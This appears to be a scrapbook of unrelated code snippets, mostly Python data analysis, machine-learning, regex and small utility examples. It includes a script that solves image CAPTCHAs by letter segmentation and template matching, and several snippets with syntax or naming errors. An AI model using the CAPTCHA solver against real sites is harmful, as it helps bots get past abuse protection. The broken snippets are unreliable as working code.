df['text'] = df['text'].apply(lambda x: ' '.join([word for word in x.split() if word not in (stopword)]))
sudo pip install opencc
# if nt work, should clone project first

import pandas as pd
import numpy as np
# -*- coding: utf-8 -*-
import opencc
from opencc import OpenCC

df = pd.read_csv('training.csv').astype(str)

def tra_sim(text):
    cc = OpenCC('tw2s')
    sim = cc.convert(text)
    return sim
df['sim_label'] = df['label'].apply(tra_sim)
df['sim_detail_label'] = df['detail_label'].apply(tra_sim)
df['sim_text'] = df['text'].apply(tra_sim)
def deleteEncodingLayers(model, num_layers_to_keep):  # must pass in the full bert model
    oldModuleList = model.bert.encoder.layer
    newModuleList = nn.ModuleList()

    # Now iterate over all layers, only keepign only the relevant layers.
    for i in range(0, len(num_layers_to_keep)):
        newModuleList.append(oldModuleList[i])

    # create a copy of the model, modify it with the new list, and return
    copyOfModel = copy.deepcopy(model)
    copyOfModel.bert.encoder.layer = newModuleList

    return copyOfModel
s = (X_train.dtypes == 'object')
object_cols = list(s[s].index)

print("Categorical variables:")
print(object_cols)
from datetime import datetime
FORMAT='%b %d %Y %I:%M%p'
datetime_object = datetime.strptime('Jun 1 2005  1:33PM', FORMAT)
virtualenv env
 
# linux
source env/bin/activate
 
#windows
env\Scripts\activate.bat
 
deactivate
  def _use_cached_session(self):
    """ Attempt to set the session id from a memcache entry and return success status """
    if not self.cache:
      return False
    expiration = self.cache.get("KEY", namespace="QUEUE_NAME")
    if expiration and expiration > datetime.datetime.utcnow():
      self.session_id = self.cache.get("KEY", namespace="QUEUE_NAME")
      if self.session_id:
        return True
    return False
import logging
import time
from functools import partial, wraps


def retry(func=None, exception=Exception, n_tries=5, delay=5, backoff=1, logger=False):
    """Retry decorator with exponential backoff.

    Parameters
    ----------
    func : typing.Callable, optional
        Callable on which the decorator is applied, by default None
    exception : Exception or tuple of Exceptions, optional
        Exception(s) that invoke retry, by default Exception
    n_tries : int, optional
        Number of tries before giving up, by default 5
    delay : int, optional
        Initial delay between retries in seconds, by default 5
    backoff : int, optional
        Backoff multiplier e.g. value of 2 will double the delay, by default 1
    logger : bool, optional
        Option to log or print, by default False

    Returns
    -------
    typing.Callable
        Decorated callable that calls itself when exception(s) occur.

    Examples
    --------
    >>> import random
    >>> @retry(exception=Exception, n_tries=4)
    ... def test_random(text):
    ...    x = random.random()
    ...    if x < 0.5:
    ...        raise Exception("Fail")
    ...    else:
    ...        print("Success: ", text)
    >>> test_random("It works!")
    """

    if func is None:
        return partial(
            retry,
            exception=exception,
            n_tries=n_tries,
            delay=delay,
            backoff=backoff,
            logger=logger,
        )

    @wraps(func)
    def wrapper(*args, **kwargs):
        ntries, ndelay = n_tries, delay

        while ntries > 1:
            try:
                return func(*args, **kwargs)
            except exception as e:
                msg = f"{str(e)}, Retrying in {ndelay} seconds..."
                if logger:
                    logging.warning(msg)
                else:
                    print(msg)
                time.sleep(ndelay)
                ntries -= 1
                ndelay *= backoff

        return func(*args, **kwargs)

    return wrapper
keys, values)) # {'a': 2, 'c': 4, 'b': 3}
 
 
#make a function: def is the keyword for the function:
def to_dictionary(keys, values):
 
 
#return is the keyword that tells program that function has to return value   
return dict(zip(keys, values))
 
  
 
# keys and values are the lists:
 
keys = ["a", "b", "c"]   
 
values = [2, 3, 4]
                                
                                
 
def merge_two_dicts(a, b):
 
 
   c = a.copy()   # make a copy of a
 
   c.update(b)    # modify keys and values of a with the ones from b
 
   return c
 
 
 
 
 
a = { 'x': 1, 'y': 2}
 
b = { 'y': 3, 'z': 4}
 
 
print(merge_two_dicts(a, b)) # {'y': 3, 'x': 1, 'z': 4}
 
def getFactorialit (n):
	if n < 0, return -1
    else fact = 1
    for i in range (1, n +1):
    	fact *=i
    return fact
    
print getFactorialit(10)
virtualenv myenv

myenv\Scripts\activate

deactivate
{
    "python.defaultInterpreterPath": "E:\\WebDevDjango\\Django_Projects\\PARASenv\\Scripts\\Python.exe"
}
if Evil === True:
	bg = PhotoImage(file = "Nme.png")
    
dddf = pd.DataFrame(
  index=vdf.index,
  columns=['Drawdown', 'Start', 'End'])

dddf['Drawdown'] = ((vdf['Fund Total'].dropna() / np.maximum.accumulate(vdf['Fund Total'].dropna(), axis=0)) - 1)

is_zero = dddf['Drawdown'] == 0

dddf['Start'] = ~is_zero & is_zero.shift(1)
start = list(dddf[dddf['Start']].index)

dddf['End'] = is_zero & (~is_zero).shift(1)
end = list(dddf[dddf['End']].index)

if start[0] > end[0]:
	start.insert(0, dddf.index[0])

if start[-1] > end[-1]:
	end.append(dddf.index[-1])

dd_vdf = pd.DataFrame(
  index=range(0, len(start)),
  columns=('Start', 'End', 'Length', 'Drawdown'))

for i in range(0, len(start)):
  dd = dddf[start[i]:end[i]]['Drawdown'].min()
  dd_vdf.iloc[i] = (start[i].strftime('%Y-%m-%d'), end[i].strftime('%Y-%m-%d'), (end[i] -start[i]).days, dd)
{
  "python.formatting.provider": "black",
  "python.linting.enabled": false,
  "python.linting.pylintEnabled": true,
  "python.formatting.blackPath": "black",
  "python.pythonPath": ".env/bin/python",
  "editor.formatOnSave": true
}

plt.figure(figsize=(16,8))
model_ARIMA = ARIMA(df_log, order=(7,1,7)) #Using p=7, d=1, q=7
results_ARIMA = model_ARIMA.fit()
plt.plot(df_shift)
plt.plot(results_ARIMA.fittedvalues, color='red')
plt.title('ARIMA Model - RMSE: %.4f'% mean_squared_error(results_ARIMA.fittedvalues,df_shift['Close'], squared=False))
plt.show()
#Importing AutoReg function to apply AR model
from statsmodels.tsa.ar_model import AutoReg

plt.figure(figsize=(16,8))
model_AR = AutoReg(df_shift, lags=7) #Using number of lags as 7
results_AR = model_AR.fit()
plt.plot(df_shift)
predict = results_AR.predict(start=0,end=len(df_shift)-1)
predict = predict.fillna(0) #Converting NaN values to 0
plt.plot(predict, color='red')
plt.title('AR Model - RMSE: %.4f'% mean_squared_error(predict,df_shift['Close'], squared=False))  #Calculating rmse
plt.show()
#Importing the seasonal_decompose to decompose the time series
from statsmodels.tsa.seasonal import seasonal_decompose
decomp = seasonal_decompose(df_train)

trend = decomp.trend
seasonal = decomp.seasonal
residual = decomp.resid

plt.figure(figsize=(15,10))
plt.subplot(411)
plt.plot(df_train, label='Actual', marker='.')
plt.legend(loc='upper left')
plt.subplot(412)
plt.plot(trend, label='Trend', marker='.')
plt.legend(loc='upper left')
plt.subplot(413)
plt.plot(seasonal, label='Seasonality', marker='.')
plt.legend(loc='upper left')
plt.subplot(414)
plt.plot(residual, label='Residuals', marker='.')
plt.legend(loc='upper left')
plt.tight_layout()
adfuller(df_shift)
plt.figure(figsize=(16,8))
df_shift = df_log - df_log.shift(periods = 1)
MAvg_shift = df_shift.rolling(window=12).mean()
MStd_shift = df_shift.rolling(window=12).std()
plt.plot(df_shift, color='c')
plt.plot(MAvg_shift, color='red', label = 'Moving Average')
plt.plot(MStd_shift, color='green', label = 'Standard Deviation')
plt.legend()
plt.show()

#Dropping the null values that we get after applying differencing method
df_shift = df_shift.dropna()
from os import walk

f = []
for (dirpath, dirnames, filenames) in walk(mypath):
    f.extend(filenames)
    break
from os import listdir
from os.path import isfile, join
onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]
%sql SELECT name FROM sqlite_master WHERE type ='table' AND name NOT LIKE 'sqlite_%';
https://vimsky.com/zh-tw/examples/detail/python-method-regex.sub.html

# Match text between two strings with regular expression
clean_text = re.search(r'before(.*?)after', text).group(1)
import re
s = 'Part 1. Part 2. Part 3 then more text'
re.search(r'Part 1\.(.*?)Part 3', s).group(1)
' Part 2. '
re.search(r'Part 1(.*?)Part 3', s).group(1)
'. Part 2. '
all_filenames = glob.glob("/home/lynaza/Desktop/Quinn/lda/檢察官起訴書/*.txt")

#return only filename (may contain not only duoi file)
 import os
 arr = os.listdir("/home/lynaza/Desktop/Quinn/lda/檢察官起訴書")
 print(arr)



import cv2
import os
import glob

def load_images_name(path):
    
    list_1 = glob.glob(path+'/*.tif') # depth of 1 folder
    
    list_2 = glob.glob(path+'/*/*.tif') # depth of 2 folder
    
    list_3 = glob.glob(path+'/*/*/*.tif')  # depth of 3 folder
    
    list_4 = glob.glob(path+'/*/*/*/*.tif')  # depth of 4 folder
    
    images_path = list_1 +list_2 +list_3 + list_4

    return images_path

images = load_images_name("/home/lynaza/Desktop/traindata/test")
class Solution:
    def maxTip(self, a, b, n, x, y):
        c,su=[],0
        x1,y1=0,0
        for i in range(n):
            c.append(abs(a[i]-b[i]))
        d=sorted(list(enumerate(c)),key=lambda x:x[1])
        for i in d[::-1]:
            if a[i[0]]>b[i[0]] and x1<x:
                su+=a[i[0]]
                x1+=1
            elif a[i[0]]<b[i[0]] and y1<y:
                su+=b[i[0]]
                y1+=1
            elif a[i[0]]>b[i[0]] and x1==x:
                su+=b[i[0]]
                y1+=1
            elif a[i[0]]<b[i[0]] and y1==y:
                su+=a[i[0]]
                x1+=1
            elif a[i[0]]==b[i[0]]:
                su+=a[i[0]]
        return su
            
       

if __name__ == '__main__':
    tc = int(input())
    while tc > 0:
        n, x, y = list(map(int, input().strip().split()))
        a = list(map(int, input().strip().split()))
        b = list(map(int, input().strip().split()))
        ans = Solution().maxTip(a, b, n, x, y)
        print(ans)
        tc -= 1
class Solution:
    def maxTip(self, a, b, n, x, y):
        c,su=[],0
        x1,y1=0,0
        for i in range(n):
            c.append(abs(a[i]-b[i]))
        d=sorted(list(enumerate(c)),key=lambda x:x[1])
        for i in d[::-1]:
            if a[i[0]]>b[i[0]] and x1<x:
                su+=a[i[0]]
                x1+=1
            elif a[i[0]]<b[i[0]] and y1<y:
                su+=b[i[0]]
                y1+=1
            elif a[i[0]]>b[i[0]] and x1==x:
                su+=b[i[0]]
                y1+=1
            elif a[i[0]]<b[i[0]] and y1==y:
                su+=a[i[0]]
                x1+=1
            elif a[i[0]]==b[i[0]]:
                su+=a[i[0]]
        return su
            
       

if __name__ == '__main__':
    tc = int(input())
    while tc > 0:
        n, x, y = list(map(int, input().strip().split()))
        a = list(map(int, input().strip().split()))
        b = list(map(int, input().strip().split()))
        ans = Solution().maxTip(a, b, n, x, y)
        print(ans)
        tc -= 1
class Solution:
    def maxTip(self, a, b, n, x, y):
        c,su=[],0
        x1,y1=0,0
        for i in range(n):
            c.append(abs(a[i]-b[i]))
        d=sorted(list(enumerate(c)),key=lambda x:x[1])
        for i in d[::-1]:
            if a[i[0]]>b[i[0]] and x1<x:
                su+=a[i[0]]
                x1+=1
            elif a[i[0]]<b[i[0]] and y1<y:
                su+=b[i[0]]
                y1+=1
            elif a[i[0]]>b[i[0]] and x1==x:
                su+=b[i[0]]
                y1+=1
            elif a[i[0]]<b[i[0]] and y1==y:
                su+=a[i[0]]
                x1+=1
            elif a[i[0]]==b[i[0]]:
                su+=a[i[0]]
        return su
            
       

if __name__ == '__main__':
    tc = int(input())
    while tc > 0:
        n, x, y = list(map(int, input().strip().split()))
        a = list(map(int, input().strip().split()))
        b = list(map(int, input().strip().split()))
        ans = Solution().maxTip(a, b, n, x, y)
        print(ans)
        tc -= 1
conda create -n p37env python=3.7
conda activate p37env
pip install tf-models-official
import pandas as pd

data = {'Product': ['Desktop Computer','Tablet','Printer','Laptop'],
        'Price': [850,200,150,1300]
        }

df = pd.DataFrame(data, columns= ['Product', 'Price'])

df.to_csv(r'Path where you want to store the exported CSV file\File Name.csv')
# df.to_csv('file_name.csv', encoding='utf-8', index=False)
print (df)

data[['column1','column2','column3',...]].to_csv('fileNameWhereYouwantToWrite.csv')
     
df = pd.DataFrame()
for i in range():
	#....
	df.appen(text)
# best way
data['resume'] = data[['Resume_title', 'City', 'State', 'Description', 'work_experiences', 'Educations', 'Skills', 'Certificates', 'Additional Information']].agg(' '.join, axis=1)


# other way
df["period"] = df["Year"] + df["quarter"]
df['Period'] = df['Year'] + ' ' + df['Quarter']
df["period"] = df["Year"].astype(str) + df["quarter"] #If one (or both) of the columns are not string typed
#Beware of NaNs when doing this!
df['period'] = df[['Year', 'quarter', ...]].agg('-'.join, axis=1) #for multiple string columns
df['period'] = df[['Year', 'quarter']].apply(lambda x: ''.join(x), axis=1)
#method cat() of the .str accessor 
df['Period'] = df.Year.str.cat(df.Quarter)
df['Period'] = df.Year.astype(str).str.cat(df.Quarter.astype(str), sep='q')
df['AllTogether'] = df['Country'].str.cat(df[['State', 'City']], sep=' - ') #add parameter na_rep to replace the NaN values with a string if have nan
columns = ['whatever', 'columns', 'you', 'choose']
df['period'] = df[columns].astype(str).sum(axis=1)

#a function
def str_join(df, sep, *cols):
   ...:     from functools import reduce
   ...:     return reduce(lambda x, y: x.astype(str).str.cat(y.astype(str), sep=sep), 
   ...:                   [df[col] for col in cols])
   ...: 

In [4]: df['cat'] = str_join(df, '-', 'c0', 'c1', 'c2', 'c3')
import re

text = 'this is a text'

try:
    found = re.search('is(.+?)text', text).group(1)
except AttributeError:
    # AAA, ZZZ not found in the original string
    found = '0 wtitle' # apply your error handling
found

=> a

# To get more than 1 search
job_title = []
for i in range(0,9282):
    text = data.work_experiences.iloc[i]
    try:
        title = re.findall(r"wtitle (.*?) wcompany",text)
    except :
        title = 'onejob'
    job_title.append(title)
    
data['job_title'] = job_title
# picking up piece of string between separators
# function using partition, like partition, but drops the separators
def between(left,right,s):
    before,_,a = s.partition(left)
    a,_,after = a.partition(right)
    return before,a,after
 
s = "bla bla blaa <a>data</a> lsdjfasdjöf (important notice) 'Daniweb forum' tcha tcha tchaa"
print between('<a>','</a>',s)
print between('(',')',s)
print between("'","'",s)
 
""" Output:
('bla bla blaa ', 'data', " lsdjfasdj\xc3\xb6f (important notice) 'Daniweb forum' tcha tcha tchaa")
('bla bla blaa <a>data</a> lsdjfasdj\xc3\xb6f ', 'important notice', " 'Daniweb forum' tcha tcha tchaa")
('bla bla blaa <a>data</a> lsdjfasdj\xc3\xb6f (important notice) ', 'Daniweb forum', ' tcha tcha tchaa')
"""
# Make copy to avoid changing original data (when imputing)
X_train_plus = X_train.copy()
X_valid_plus = X_valid.copy()

# Make new columns indicating what will be imputed
for col in cols_with_missing:
    X_train_plus[col + '_was_missing'] = X_train_plus[col].isnull()
    X_valid_plus[col + '_was_missing'] = X_valid_plus[col].isnull()

# Imputation
my_imputer = SimpleImputer()
imputed_X_train_plus = pd.DataFrame(my_imputer.fit_transform(X_train_plus))
imputed_X_valid_plus = pd.DataFrame(my_imputer.transform(X_valid_plus))

# Imputation removed column names; put them back
imputed_X_train_plus.columns = X_train_plus.columns
imputed_X_valid_plus.columns = X_valid_plus.columns

print("MAE from Approach 3 (An Extension to Imputation):")
print(score_dataset(imputed_X_train_plus, imputed_X_valid_plus, y_train, y_valid))
from sklearn.impute import SimpleImputer

# Imputation
my_imputer = SimpleImputer()
imputed_X_train = pd.DataFrame(my_imputer.fit_transform(X_train))
imputed_X_valid = pd.DataFrame(my_imputer.transform(X_valid))

# Imputation removed column names; put them back
imputed_X_train.columns = X_train.columns
imputed_X_valid.columns = X_valid.columns

print("MAE from Approach 2 (Imputation):")
print(score_dataset(imputed_X_train, imputed_X_valid, y_train, y_valid))
from sklearn.metrics import mean_absolute_error
from sklearn.tree import DecisionTreeRegressor

def get_mae(max_leaf_nodes, train_X, val_X, train_y, val_y):
    model = DecisionTreeRegressor(max_leaf_nodes=max_leaf_nodes, random_state=0)
    model.fit(train_X, train_y)
    preds_val = model.predict(val_X)
    mae = mean_absolute_error(val_y, preds_val)
    return(mae)


for max_leaf_nodes in [5, 50, 500, 5000]:
    my_mae = get_mae(max_leaf_nodes, train_X, val_X, train_y, val_y)
    print("Max leaf nodes: %d  \t\t Mean Absolute Error:  %d" %(max_leaf_nodes, my_mae))
import pandas as pd
import matplotlib.pyplot as plt
  
author = ['Jitender', 'Purnima', 'Arpit', 'Jyoti']
article = [210, 211, 114, 178]
  
auth_series = pd.Series(author)
article_series = pd.Series(article)
  
frame = { 'Author': auth_series, 'Article': article_series }
  
result = pd.DataFrame(frame)
  
print(result)
#define the target
y = home_data.SalePrice

#Create the list of features below
feature_names = ['LotArea','YearBuilt','1stFlrSF','2ndFlrSF','FullBath','BedroomAbvGr','TotRmsAbvGrd']

# Select data corresponding to features in feature_names
X = home_data[feature_names]

from sklearn.model_selection import train_test_split

# split data into training and validation data, for both features and target
# The split is based on a random number generator. Supplying a numeric value to
# the random_state argument guarantees we get the same split every time we
# run this script.
train_X, val_X, train_y, val_y = train_test_split(X, y, random_state = 1)

from sklearn.tree import DecisionTreeRegressor
#specify the model
#For model reproducibility, set a numeric value for random_state when specifying the model
iowa_model = DecisionTreeRegressor(random_state=1)

# Fit the model
iowa_model.fit(train_X, train_y)

# get predicted prices on validation data
val_predictions = iowa_model.predict(val_X)

from sklearn.metrics import mean_absolute_error

print(mean_absolute_error(val_y, val_predictions))

df.sum(axis=0, skipna=None)

df.sum(axis=1, skipna=None)
x = 'body'
type(x)


df.dtypes

type(txns) 

#this will return if it is a list, array etc
today = str(date.today()) 
now = datetime.now()
print(now)
my_datetime = datetime.strptime(today+ ' 10:30AM', '%Y-%m-%d %I:%M%p')
print(my_datetime)
if (now > my_datetime):
    print("Hello")
df.groupby(['id', 'group', 'term']).size().unstack(fill_value=0)
mydf = mydf.reindex(columns = mydf.columns.tolist() + ['newcol1','newcol2'])
[1 if x<=30 else 0 for x in df_w['Mid-Point']]
import requests

api = 'http://site.api.espn.com/apis/site/v2/sports/baseball/mlb/scoreboard'

jsonData = requests.get(api).json()
events = jsonData['events']

links = []
for event in events:
    event_links = event['links']
    for each in event_links:
        if each['text'] == 'Gamecast':
            links.append(each['href'])
df['color'] = ['red' if x == 'Z' else 'green' for x in df['Set']]

export FLASK_ENV=development                         

export FLASK_ENV=production 

FLASK_APP=hello.py flask run






If you have installed many dependencies in your system and you need requirements.txt for a specific project, you can install first pipreqs:

$ pip install pipreqs

and execute the below command under the project folder.

$ pipreqs

This command will generate requirements.txt file for the particular project.
from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
    return "Hello World!"
text = "This is \n some text"
y0, dy = 50, 4
for i, line in enumerate(text.split('\n')):
    y = y0 + i*dy
    cv2.putText(img, line, (50, y ), cv2.FONT_HERSHEY_SIMPLEX, 1, 2)
# check if the event is the X button 
        if event.type==pygame.QUIT:
            # if it is quit the game
            pygame.quit() 
            exit(0) 

if event.type == pygame.KEYUP:
            if event.key==pygame.K_w:
                keys[0]=False
            elif event.key==pygame.K_a:
                keys[1]=False
            elif event.key==pygame.K_s:
                keys[2]=False
            elif event.key==pygame.K_d:
                keys[3]=False
grouped_df = df.groupby("segment")

max_cust = grouped_df.customers.max()
grouped_df = df.groupby("segment")
max_cust = df.groupby("segment").customers.transform(max)
class MLP(torch.nn.Module):
    
    def __init__(self,D_in,H, D_out):
      """
      In the constructor we instantiate two nn.Linear modules and assign them as member variables.
      """
        super(MLPModel,self).__init__()
        self.hidden1 = torch.nn.Linear(D_in,H)
        self.hidden2 = torch.nn.Linear(H,D_out)
        self.sig = torch.nn.Sigmoid()
    
    def forward(self,x):
    	"""
        In the forward function we accept a Tensor of input data and we must return
        a Tensor of output data. We can use Modules defined in the constructor as
        well as arbitrary operators on Tensors.
        """
        out = self.sig(self.hidden1(x))
        out = self.hidden2(out)
        return out
df.drop(['results', 'cum_sum_pred', 'cus_sum_pred'], axis=1)
// python
def isbright(image, dim=10, thresh=0.5):
    # Resize image to 10x10
    image = cv2.resize(image, (dim, dim))
    # Convert color space to LAB format and extract L channel
    L, A, B = cv2.split(cv2.cvtColor(image, cv2.COLOR_BGR2LAB))
    # Normalize L channel by dividing all pixel values with maximum pixel value
    L = L/np.max(L)
    # Return True if mean is greater than thresh else False
    return np.mean(L) > thresh

// c++
bool rockface_image_is_bright(cv::Mat img_mat, int dim, float threshold)
{
	// Resize image to 10x10
	cv::resize(img_mat, img_mat, { dim, dim });

	// Convert color space to LAB format and extract L channel
	cv::cvtColor(img_mat, img_mat, cv::COLOR_RGB2Lab);
	cv::Mat labchannel[3];
	cv::split(img_mat, labchannel);

	cv::imshow("L", labchannel[0]);
	cv::waitKey(0);

	// Normalize L channel by dividing all pixel values with maximum pixel value
	cv::Mat L;
	cv::normalize(labchannel[0], L, 0, 1, cv::NORM_MINMAX);

	// Return True if mean is greater than thresh else False
	float brightness = cv::mean(L).val[0];
	std::cout << "brightness: " << brightness << std::endl;
	return brightness > threshold;
}
>>> 'Coordinates: {latitude}, {longitude}'.format(latitude='37.24N', longitude='-115.81W')
'Coordinates: 37.24N, -115.81W'
>>> coord = {'latitude': '37.24N', 'longitude': '-115.81W'}
>>> 'Coordinates: {latitude}, {longitude}'.format(**coord)
'Coordinates: 37.24N, -115.81W'
import shutil
import operator
import os
from PIL import Image, ImageChops
from operator import itemgetter

def process(file_name):
	im = Image.open(file_name,"r")
	# Get the size of the picture
	width, height = im.size

	#convert to RGB
	pixels = im.load()

	d = {}

	for x in range(width):
		for y in range(height):
			if pixels[x,y] not in d:
				d[pixels[x,y]]=1
			else:
				d[pixels[x,y]]+=1
	print d
	sorted_d = sorted(d.items(), key=operator.itemgetter(0))
	background = sorted_d[0][0]
	captcha = sorted_d[1][0]
	print background, captcha

	for x in range(width):
		for y in range(height):
			if pixels[x,y] != captcha:
				pixels[x,y]=0
			else:
				pixels[x,y]=1
	im.putpalette([0, 0, 0,255,255,255])
	#pattern fix
	for x in range(1,width-1,1):
		for y in range(1,height-1,1):
			if (pixels[x,y] != pixels[x-1,y-1]) and (pixels[x,y] != pixels[x+1,y-1]) and (pixels[x,y] != pixels[x-1,y+1]) and (pixels[x,y] != pixels[x+1,y+1]):
				pixels[x,y]=1

	im.save("tmp.png")

def main(file_name):
	print "[?] Input file:", file_name
	process(file_name)
	captcha_filtered = Image.open('tmp.png')
	captcha_filtered = captcha_filtered.convert("P")
	inletter = False
	foundletter = False
	start = 0
	end = 0

	letters = []

	for y in range(captcha_filtered.size[0]): # slice across
		for x in range(captcha_filtered.size[1]): # slice down
			pix = captcha_filtered.getpixel((y,x))
			if pix != 0:
				inletter = True

		if foundletter == False and inletter == True:
			foundletter = True
			start = y

		if foundletter == True and inletter == False:
			foundletter = False
			end = y
			letters.append((start,end))

		inletter = False

	print "[+] Horizontal positions:", letters

	captcha = ""

	if len(letters) == 4:
		file_names = ["d-0.png", "d-3.png", "d-6.png", "d-9.png", "l-c.png", "l-f.png", "l-i.png", "l-m.png", "l-p.png", "l-s.png", "l-v.png", "l-y.png", "u-b.png", "u-E.png", "u-H.png", "u-k.png", "u-N.png", "u-q.png", "u-t.png", "u-w.png", "u-z.png", "d-1.png", "d-4.png", "d-7.png", "l-a.png", "l-d.png", "l-g.png", "l-j.png", "l-n.png", "l-q.png", "l-t.png", "l-w.png", "l-z.png", "u-c.png", "u-f.png", "u-i.png", "u-l.png", "u-o.png", "u-r.png", "u-u.png", "u-x.png", "d-2.png", "d-5.png", "d-8.png", "l-b.png", "l-e.png", "l-h.png", "l-k.png", "l-o.png", "l-r.png", "l-u.png", "l-x.png", "u-A.png", "u-d.png", "u-G.png", "u-J.png", "u-m.png", "u-p.png", "u-s.png", "u-V.png", "u-y.png"]
		for letter in letters:
			im3 = captcha_filtered.crop(( letter[0], 0, letter[1],captcha_filtered.size[1] ))
			im3 = im3.crop((0, 92, im3.size[0], 220))
			base = im3.convert('L')

			class Fit:
				letter = None
				difference = 0

			best = Fit()

			for letter in file_names:
				#print letter
				current = Fit()
				current.letter = letter

				sample_path = "samples/" + letter
				#print sample_path
				sample = Image.open(sample_path).convert('L').resize(base.size)
				difference = ImageChops.difference(base, sample)

				for x in range(difference.size[0]):
					for y in range(difference.size[1]):
						current.difference += difference.getpixel((x, y))

				if not best.letter or best.difference > current.difference:
					best = current

			#final captcha decoded
			tmp = ''
			tp, letter = best.letter.split('-')
			letter = letter.split('.')[0]
			if tp == 'u':
				tmp = letter.upper()
			else:
				tmp = letter
			print "[+] New leter:", tmp
			captcha = captcha + tmp
		print "[+] Correct captcha:", captcha
	else:
		print "[!] Missing characters in captcha !"

if __name__ == '__main__':
	main("captcha.png")
import wrds
db = wrds.Connection(wrds_username='joe')
db.raw_sql('SELECT date,dji FROM djones.djdaily')
symbols = ['BTCUSDT', 'ETHUSDT']

twm = ThreadedWebsocketManager()
twm.start()

twm.start_multiplex_socket(callback=lambda msg: print('Spot:', msg), streams=[f'{s.lower()}@bookTicker' for s in symbols])
twm.start_futures_multiplex_socket(callback=lambda msg: print('Futures:', msg), streams=[f'{s.lower()}@bookTicker' for s in symbols])
<form action='/event' method='post'>
Year ("yyyy"):  <input type='text' name='year' />
Month ("mm"):  <input type='text' name='month' />
Day ("dd"):  <input type='text' name='day' />
Hour ("hh"):  <input type='text' name='hour' />
Description:  <input type='text' name='info' />
             <input type='submit' name='submit' value='Submit'/>
</form>
>>> a = 1
>>> b = 2
>>> a, b = b, a
>>> a
2
>>> b
1
#importing Autoviz class
from autoviz.AutoViz_Class import AutoViz_Class#Instantiate the AutoViz class
AV = AutoViz_Class()

df = AV.AutoViz('car_design.csv')
from collections import defaultdict, namedtuple, Counter, deque

Counter(words).most_common(6)
challenges_done = [('mike', 10), ('julian', 7), ('bob', 5),
                   ('mike', 11), ('julian', 8), ('bob', 6)]

challenges = defaultdict(list)
for name, challenge in challenges_done:
    challenges[name].append(challenge)

challenges
User = namedtuple('User', 'name role sur')
user = User(name='bob', role='coder', sur='ellepola')
User = namedtuple('User', 'name role sur')
user = User(name='bob', role='coder', sur='ellepola')
def clean(txt):
    txt = txt.str.replace("(<br/>)", "")
    txt = txt.str.replace('(<a).*(>).*(</a>)', '')
    txt = txt.str.replace('(&amp)', '')
    txt = txt.str.replace('(&gt)', '')
    txt = txt.str.replace('(&lt)', '')
    txt = txt.str.replace('(\xa0)', ' ')  
    return txt
df['xxx column'] = clean(df['xxx column'])
# Download the helper library from https://www.twilio.com/docs/python/install
import os
from twilio.rest import Client


# Find your Account SID and Auth Token at twilio.com/console
# and set the environment variables. See http://twil.io/secure
account_sid = os.environ['TWILIO_ACCOUNT_SID']
auth_token = os.environ['TWILIO_AUTH_TOKEN']
client = Client(account_sid, auth_token)

message = client.messages.create(
                              from_='+15017122661',
                              body='body',
                              to='+15558675310'
                          )

print(message.sid)
from pathlib import Path
p = Path(r'../data/property_files/final_source_matching_file').glob('**/*')
files = [x for x in p if x.is_file()]
pd.set_option('display.max_columns', 500)
pd.set_option('display.max_rows', 500)
def addNums(a,b):
    summa = a + b
    return summa
class Solution:
    def addDigits(self, num: int) -> int:
        if num==0:
            return 0
        elif num%9==0:
            return 9
        else:
            return num%9

#----------------------------------------

class Solution:
    def addDigits(self, num: int) -> int:
        if num==0:
            return 0
        return 1+(num-1)%9
  
        
class Solution:
    def minDeletionSize(self, strs: List[str]) -> int:

        count = 0
        for i in range(len(strs[0])):
            w = []
            k=[]
            for j in range(len(strs)):
                d=strs[j][i]
                w.append(d)
                k.append(d)
            k.sort()
            if k!=w:
                count+=1
        return (count)


#" using unzip "

class Solution:
    def minDeletionSize(self, A: List[str]) -> int:
        d = 0
        for col in zip(*A):
            if list(col)!=sorted(col):
                d+=1
        return d
        
i was not in amood to do this
so try again
new_list = sorted(a_list, key=lambda x: (len(x), x))
mask=np.triu(np.ones_like(corr,dtype=bool))

f ,ax = plt.subplots(figsize=(11,9))
cmap=sns.diverging_palette(230,20, as_cmap=True)
sns.heatmap(corr, mask=mask, cmap=cmap, vmax=.3, center=0,
           square=True, linewidth=.5, cbar_kws={'shrink':.5})
# Solution with a temporary variable

a = input("Enter variable a: ")
b = input("Enter variable b: ")

print(f"Variable a is {a}: ")
print(f"Variable b is {b}: ")

c = a
a = b
b = c

print(f"Variable a is now {a}: ")
print(f"Variable b is now {b}: ")
public class Main {
  int x = 5;

  public static void main(String[] args) {
    Main myObj = new Main();
    System.out.println(myObj.x);
  }
}
class Person:
  def __init__(self, name, age):
    self.name = name
    self.age = age

p1 = Person("John", 36)

print(p1.name)
print(p1.age)
for p in ax.patches:
    values= '{:.0f}'.format(p.get_height())
    x = p.get_x() + p.get_width()/2
    y = p.get_height()
    ax.annotate(values, (x, y),ha='center', va ='bottom', fontsize = 11)
for p in ax.patches:
    values= '{:.0f}'.format(p.get_height())
    x = p.get_x() + p.get_width()/2
    y = p.get_height()
    ax.annotate(values, (x, y),ha='center', va ='bottom', fontsize = 11)
import warnings
warnings.filterwarnings('ignore')
def indec_query(query_name='IPC_Nacional', url='https://apis.datos.gob.ar/series/api/series?ids=145.3_INGNACNAL_DICI_M_15'):
   
    """
        Función que por defecto devuelve el IPC a Nivel General Nacional de la República Argentina en variación mensual

        Parametros
        -----------------
        query_name : str, optional
                El nombre que adoptamos para la query, el archivo csv generado llevará este         nombre
        url : str, optional
                URL de la API del generador de consultas de Nación (https://datosgobar.github.io/series-tiempo-ar-call-generator/)
        """

    r = requests.get(url=url)

    r_dict = json.loads(r.text)

    df = pd.DataFrame(r_dict['data'])

    df.rename(columns={0: 'fecha',
                                                1:query_name},
                            inplace=True)

    df.to_csv('dataset_'+query_name, index=False)
def bcra_query(variable='dolar_blue', url='https://api.estadisticasbcra.com/usd'):

    r = requests.get(url=url,
                                            headers={'Authorization':'BEARER '+bearer
                                
                            })
    r_dict = json.loads(r.text)

    df = pd.DataFrame(r_dict)


    df.rename(columns={'v': variable,
                                            'd':'fecha'},
                        inplace=True)

    #dolar_blue = df

    today = date.today()
    str(today)

    df.to_csv('dataset_'+variable, index=False)
# Load the data
churn_df = pd.read_pickle("CHURN_1.p")
g = sns.*plot 
ax = g 
for p in ax.patches:
    ax.text(p.get_x() + p.get_width()/2., p.get_height(), '{0:.2f}'.format(p.get_height()), 
        fontsize=12, color='black', ha='center', va='bottom')
from operator import attrgetter

df['duration_dataset'] = (
    df['date_1'].dt.to_period('M') -
    df['date_2'].dt.to_period('M')).apply(attrgetter('n'))
    def create(self, validated_data):
